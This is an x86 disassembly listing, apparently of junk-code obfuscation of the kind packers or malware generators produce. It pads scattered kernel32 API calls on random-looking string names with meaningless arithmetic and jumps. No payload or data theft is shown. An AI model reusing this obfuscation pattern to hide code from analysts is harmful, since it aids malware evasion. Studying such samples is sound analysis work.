call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
and dword [0x40f05a], 5
xor ch, ch
add ch, bh
sbb dword [0x40f0ae], eax
or esi, dword [0x40f13d]
jmp 0x406dd0
xor dh, dh
add dh, al
and ebx, 0x63
sub ecx, ecx
adc ecx, dword [0x40f062]
xor dword [0x40f0b2], esi
mov dword [0x40f0b1], 0xd3
sbb dword [0x40f195], edx
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
cmp eax, 0
jne 0x407235
sbb eax, ebx
sub ecx, ecx
add ecx, 0xc
xor edx, edx
adc edx, dword [0x40f157]
adc ecx, dword [0x40f0e5]
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x407235
adc esi, dword [0x40f055]
and edi, 0xffffffb1
sub edi, esi
adc esi, eax
add edi, 0x21
jmp 0x40a9ed
sub byte [0x40f13d], 0xc1
or eax, dword [0x40f07c]
add edi, esi
sub byte [0x40f00b], 0x6c
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
or ebx, dword [0x40f0f2]
sub dword [0x40f12b], eax
add dword [0x40f1bc], esi
xor edx, edx
add edx, esi
jmp 0x40879a
xor dword [0x40f156], eax
xor ecx, ecx
add ecx, edi
adc dword [0x40f1e5], 0xd7
sbb eax, 0xffffff8e
or dword [0x40f1e3], esi
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
cmp eax, 0
jne 0x4080f6
or dword [0x40f120], 0xb
add byte [0x40f1f5], bh
adc esi, dword [0x40f132]
mov dword [0x40f0f3], 0x49
add ebx, ebx
lea ecx, [0x40f492]
push dword [ecx]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
cmp eax, 0
jne 0x4080f6
or dword [0x40f19b], 0x92
sub dword [0x40f090], esi
adc dword [0x40f091], edi
mov dword [0x40f1a0], 0x7c
xor cl, cl
add cl, 0xd4
jmp 0x40a0ad
xor ecx, ecx
add ecx, 0x69
sbb byte [0x40f08c], cl
adc edi, dword [0x40f136]
add eax, ecx
and dword [0x40f060], 0xf4
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
adc eax, dword [0x40f140]
sub edx, edx
add edx, 0x1b
and dword [0x40f09c], 0xc3
adc ebx, dword [0x40f16e]
and dword [0x40f01b], 0x54
sub ecx, ecx
add ecx, 0xfffffff0
jmp 0x407815
add esi, 0x3e
adc ebx, 0xffffffff
adc ebx, esi
adc dword [0x40f145], eax
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x407235
adc al, 0xd9
sub edi, dword [0x40f0a3]
adc dword [0x40f002], 0x70
add ebx, eax
xor edx, edx
adc edx, dword [0x40f184]
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
or bl, byte [0x40f0a2]
adc bh, byte [0x40f0a6]
or eax, 0x62
and dword [0x40f199], esi
jmp 0x405792
xor dl, dl
add dl, 0x71
add dword [0x40f147], ebx
or dword [0x40f129], 0xf
or eax, 0xffffffc1
sub ecx, ecx
add ecx, eax
sub edx, ebx
lea ecx, [0x40f492]
push dword [ecx]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
jne 0x407235
add dword [0x40f0b9], ebx
sub ecx, ecx
add ecx, esi
sub edi, dword [0x40f054]
add ecx, edi
jmp 0x407235